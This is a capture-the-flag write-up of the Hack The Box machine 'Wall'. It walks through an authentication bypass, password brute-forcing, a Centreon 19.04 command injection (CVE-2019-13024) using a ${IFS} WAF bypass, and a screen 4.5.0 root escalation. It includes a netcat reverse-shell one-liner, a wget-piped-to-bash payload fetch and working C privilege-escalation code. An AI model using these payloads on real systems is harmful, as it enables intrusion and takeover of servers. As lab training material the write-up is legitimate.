Hack The Box - Wall

Quick Summary

Hey guys, today Wall retired and here’s my write-up about it. It was an easy Linux machine with a web application vulnerable to RCE , WAF bypass to be able to exploit that vulnerability and a vulnerable suid binary. It’s a Linux machine and its ip is 10.10.10.157 , I added it to /etc/hosts as wall.htb . Let’s jump right in !



Nmap

As always we will start with nmap to scan for open ports and services:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

root@kali:~/Desktop/HTB/boxes/wall# nmap -sV -sT -sC -o nmapinitial wall.htb

Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-06 13:59 EST

Nmap scan report for wall.htb (10.10.10.157)

Host is up (0.50s latency).

Not shown: 998 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA)

| 256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA)

|_ 256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519)

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

|_http-server-header: Apache/2.4.29 (Ubuntu)

|_http-title: Apache2 Ubuntu Default Page: It works

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel



Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 241.17 seconds

root@kali:~/Desktop/HTB/boxes/wall#



We got http on port 80 and ssh on port 22. Let’s check the web service.

Web Enumeration

The index page was just the default apache page:



So I ran gobuster and got these results:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

root@kali:~/Desktop/HTB/boxes/wall# gobuster dir -u http://wall.htb/ -w /usr/share/wordlists/dirb/common.txt

===============================================================

Gobuster v3.0.1

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)

===============================================================

[+] Url: http://wall.htb/

[+] Threads: 10

[+] Wordlist: /usr/share/wordlists/dirb/common.txt

[+] Status codes: 200,204,301,302,307,401,403

[+] User Agent: gobuster/3.0.1

[+] Timeout: 10s

===============================================================

2019/12/06 14:08:02 Starting gobuster

===============================================================

/.hta (Status: 403)

/.htaccess (Status: 403)

/.htpasswd (Status: 403)

/index.html (Status: 200)

/monitoring (Status: 401)

/server-status (Status: 403)



The only interesting thing was /monitoring , however that path was protected by basic http authentication:



I didn’t have credentials, I tried bruteforcing them but it didn’t work so I spent sometime enumerating but I couldn’t find the credentials anywhere. Turns out that by changing the request method from GET to POST we can bypass the authentication:

1

2

3

4

5

6

7

root@kali:~/Desktop/HTB/boxes/wall# curl -X POST http://wall.htb/monitoring/

<h1>This page is not ready yet !</h1>

<h2>We should redirect you to the required page !</h2>



<meta http-equiv="refresh" content="0; URL='/centreon'" />



root@kali:~/Desktop/HTB/boxes/wall#



The response was a redirection to /centreon :



Centreon is a network, system, applicative supervision and monitoring tool. -github

Bruteforcing the credentials through the login form will require writing a script because there’s a csrf token that changes every request, alternatively we can use the API .

According to the authentication part we can send a POST request to /api/index.php?action=authenticate with the credentials. In case of providing valid credentials it will respond with the authentication token, otherwise it will respond with a 403 .

I used wfuzz with darkweb2017-top10000.txt from seclists:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

root@kali:~/Desktop/HTB/boxes/wall# wfuzz -c -X POST -d "username=admin&password=FUZZ" -w ./darkweb2017-top10000.txt http://wall.htb/centreon/api/index.php?action=authenticate



Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.



********************************************************

* Wfuzz 2.4 - The Web Fuzzer *

********************************************************

Target: http://wall.htb/centreon/api/index.php?action=authenticate

Total requests: 10000

===================================================================

ID Response Lines Word Chars Payload

===================================================================

000000005: 403 0 L 2 W 17 Ch "qwerty"

000000006: 403 0 L 2 W 17 Ch "abc123"

000000008: 200 0 L 1 W 60 Ch "password1"

000000004: 403 0 L 2 W 17 Ch "password"

000000007: 403 0 L 2 W 17 Ch "12345678"

000000009: 403 0 L 2 W 17 Ch "1234567"

000000010: 403 0 L 2 W 17 Ch "123123"

000000001: 403 0 L 2 W 17 Ch "123456"

000000002: 403 0 L 2 W 17 Ch "123456789"

000000003: 403 0 L 2 W 17 Ch "111111"

000000011: 403 0 L 2 W 17 Ch "1234567890"

000000012: 403 0 L 2 W 17 Ch "000000"

000000013: 403 0 L 2 W 17 Ch "12345"

000000015: 403 0 L 2 W 17 Ch "1q2w3e4r5t"

^C

Finishing pending requests...

root@kali:~/Desktop/HTB/boxes/wall#



password1 resulted in a 200 response so its the right password:



RCE | WAF Bypass –> Shell as www-data

I checked the version of centreon and it was 19.04 :



It was vulnerable to RCE ( CVE-2019-13024 , discovered by the author of the box) and there was an exploit for it:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

root@kali:~/Desktop/HTB/boxes/wall# searchsploit centreon

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------

Exploit Title | Path

| (/usr/share/exploitdb/)

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------

----------

Redacted

----------

Centreon 19.04 - Remote Code Execution | exploits/php/webapps/47069.py

----------

Redacted

----------

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------

Shellcodes: No Result

root@kali:~/Desktop/HTB/boxes/wall#



But when I tried to run the exploit I didn’t get a shell:



So I started looking at the exploit code and tried to do it manually.

The vulnerability is in the poller configuration page ( /main.get.php?p=60901 ) :

1

poller_configuration_page = url + "/main.get.php?p=60901"



The script attempts to configure a poller and this is the payload that’s sent in the POST request:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

payload_info = {

"name" : "Central" ,

"ns_ip_address" : "127.0.0.1" ,



"localhost[localhost]" : "1" ,

"is_default[is_default]" : "0" ,

"remote_id" : "" ,

"ssh_port" : "22" ,

"init_script" : "centengine" ,



"nagios_bin" : "ncat -e /bin/bash {0} {1} #" .format(ip, port),

"nagiostats_bin" : "/usr/sbin/centenginestats" ,

"nagios_perfdata" : "/var/log/centreon-engine/service-perfdata" ,

"centreonbroker_cfg_path" : "/etc/centreon-broker" ,

"centreonbroker_module_path" : "/usr/share/centreon/lib/centreon-broker" ,

"centreonbroker_logs_path" : "" ,

"centreonconnector_path" : "/usr/lib64/centreon-connector" ,

"init_script_centreontrapd" : "centreontrapd" ,

"snmp_trapd_path_conf" : "/etc/snmp/centreon_traps/" ,

"ns_activate[ns_activate]" : "1" ,

"submitC" : "Save" ,

"id" : "1" ,

"o" : "c" ,

"centreon_token" : poller_token,





}



nagios_bin is the vulnerable parameter:

1

2



"nagios_bin" : "ncat -e /bin/bash {0} {1} #" .format(ip, port),



I checked the configuration page and looked at the HTML source, nagios_bin is the monitoring engine binary, I tried to inject a command there:



When I tried to save the configuration I got a 403 :



That’s because there’s a WAF blocking these attempts, I could bypass the WAF by replacing the spaces in the commands with ${IFS} . I saved the reverse shell payload in a file then I used wget to get the file contents and I piped it to bash .

a :

1

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f



modified parameter:

1

"nagios_bin" : "wget${IFS}-qO-${IFS}http://10.10.xx.xx/a${IFS}|${IFS}bash;"



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

root@kali:~/Desktop/HTB/boxes/wall# python exploit.py http://wall.htb/centreon/ admin password1 10.10.xx.xx 1337

[+] Retrieving CSRF token to submit the login form

exploit.py:38: UserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("lxml"). This usually isn't a problem, but if you run this code on another system, or in a different virtual e

nvironment, it may use a different parser and behave differently.



The code that caused this warning is on line 38 of the file exploit.py. To get rid of this warning, pass the additional argument 'features="lxml"' to the BeautifulSoup constructor.



soup = BeautifulSoup(html_content)

[+] Login token is : ba28f431a995b4461731fb394eb01d79

[+] Logged In Sucssfully

[+] Retrieving Poller token

exploit.py:56: UserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("lxml"). This usually isn't a problem, but if you run this code on another system, or in a different virtual e

nvironment, it may use a different parser and behave differently.



The code that caused this warning is on line 56 of the file exploit.py. To get rid of this warning, pass the additional argument 'features="lxml"' to the BeautifulSoup constructor.



poller_soup = BeautifulSoup(poller_html)

[+] Poller token is : d5702ae3de1264b0692afcef86074f07

[+] Injecting Done, triggering the payload

[+] Check your netcat listener !



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

root@kali:~/Desktop/HTB/boxes/wall# nc -lvnp 1337

listening on [any] 1337 ...

connect to [10.10.xx.xx] from (UNKNOWN) [10.10.10.157] 37862

/bin/sh: 0: can't access tty; job control turned off

$ whoami

www-data

$ which python

/usr/bin/python

$ python -c "import pty;pty.spawn('/bin/bash')"

www-data@Wall:/usr/local/centreon/www$ ^Z

[1]+ Stopped nc -lvnp 1337

root@kali:~/Desktop/HTB/boxes/wall# stty raw -echo

root@kali:~/Desktop/HTB/boxes/wall# nc -lvnp 1337



www-data@Wall:/usr/local/centreon/www$ export TERM=screen

www-data@Wall:/usr/local/centreon/www$



Screen 4.5.0 –> Root Shell –> User & Root Flags

There were two users on the box, shelby and sysmonitor . I couldn’t read the user flag as www-data :

1

2

3

4

5

6

7

8

9

10

11

www-data@Wall:/usr/local/centreon/www$ cd /home

www-data@Wall:/home$ ls -al

total 16

drwxr-xr-x 4 root root 4096 Jul 4 00:38 .

drwxr-xr-x 23 root root 4096 Jul 4 00:25 ..

drwxr-xr-x 6 shelby shelby 4096 Jul 30 17:37 shelby

drwxr-xr-x 5 sysmonitor sysmonitor 4096 Jul 6 15:07 sysmonitor

www-data@Wall:/home$ cd shelby

www-data@Wall:/home/shelby$ cat user.txt

cat: user.txt: Permission denied

www-data@Wall:/home/shelby$



I searched for suid binaries and saw screen-4.5.0 , similar to the privesc in Flujab I used this exploit.

The exploit script didn’t work properly so I did it manually, I compiled the binaries on my box:

libhax.c :

1

2

3

4

5

6

7

8

9

10







__attribute__ ((__constructor__))

void dropshell ( void ) {

chown( "/tmp/rootshell" , 0 , 0 );

chmod( "/tmp/rootshell" , 04755 );

unlink( "/etc/ld.so.preload" );

printf ( "[+] done!

" );

}



rootshell.c :

1

2

3

4

5

6

7

8



int main ( void ) {

setuid( 0 );

setgid( 0 );

seteuid( 0 );

setegid( 0 );

execvp( "/bin/sh" , NULL , NULL );

}



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

root@kali:~/Desktop/HTB/boxes/wall/privesc

root@kali:~/Desktop/HTB/boxes/wall/privesc

root@kali:~/Desktop/HTB/boxes/wall/privesc

libhax.c: In function ‘dropshell’:

libhax.c: 7 : 5 : warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]

7 | chmod( "/tmp/rootshell" , 04755 );

| ^~~~~

root@kali:~/Desktop/HTB/boxes/wall/privesc

rootshell.c: In function ‘main’:

rootshell.c: 3 : 5 : warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]

3 | setuid( 0 );

| ^~~~~~

rootshell.c: 4 : 5 : warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]

4 | setgid( 0 );

| ^~~~~~

rootshell.c: 5 : 5 : warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]

5 | seteuid( 0 );

| ^~~~~~~

rootshell.c: 6 : 5 : warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]

6 | setegid( 0 );

| ^~~~~~~

rootshell.c: 7 : 5 : warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]

7 | execvp( "/bin/sh" , NULL , NULL );

| ^~~~~~

rootshell.c: 7 : 5 : warning: too many arguments to built-in function ‘execvp’ expecting 2 [-Wbuiltin-declaration-mismatch]

root@kali:~/Desktop/HTB/boxes/wall/privesc#



Then I uploaded them to the box and did the rest of the exploit:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

www-data@Wall:/home/shelby$ cd /tmp/

www-data@Wall:/tmp$ wget http://10.10.xx.xx/libhax.so

--2019-12-07 00:23:12-- http://10.10.xx.xx/libhax.so

Connecting to 10.10.xx.xx:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 16144 (16K) [application/octet-stream]

Saving to: 'libhax.so'



libhax.so 100%[===================>] 15.77K 11.7KB/s in 1.3s



2019-12-07 00:23:14 (11.7 KB/s) - 'libhax.so' saved [16144/16144]



www-data@Wall:/tmp$ wget http://10.10.xx.xx/rootshell

--2019-12-07 00:23:20-- http://10.10.xx.xx/rootshell

Connecting to 10.10.xx.xx:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 16832 (16K) [application/octet-stream]

Saving to: 'rootshell'



rootshell 100%[===================>] 16.44K 16.3KB/s in 1.0s



2019-12-07 00:23:22 (16.3 KB/s) - 'rootshell' saved [16832/16832]



www-data@Wall:/tmp$



1

2

3

4

5

6

7

8

9

10

11

12

13

14

www-data@Wall:/tmp$ cd /etc

www-data@Wall:/etc$ umask 000

www-data@Wall:/etc$ /bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"

www-data@Wall:/etc$ /bin/screen-4.5.0 -ls

' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.

[+] done!

No Sockets found in /tmp/screens/S-www-data.



www-data@Wall:/etc$ /tmp/rootshell

# whoami

root

# id

uid=0(root) gid=0(root) groups=0(root),33(www-data),6000(centreon)

#





And we owned root !

That’s it , Feedback is appreciated !

Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham

Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Heist

Next Hack The Box write-up : Hack The Box - Smasher2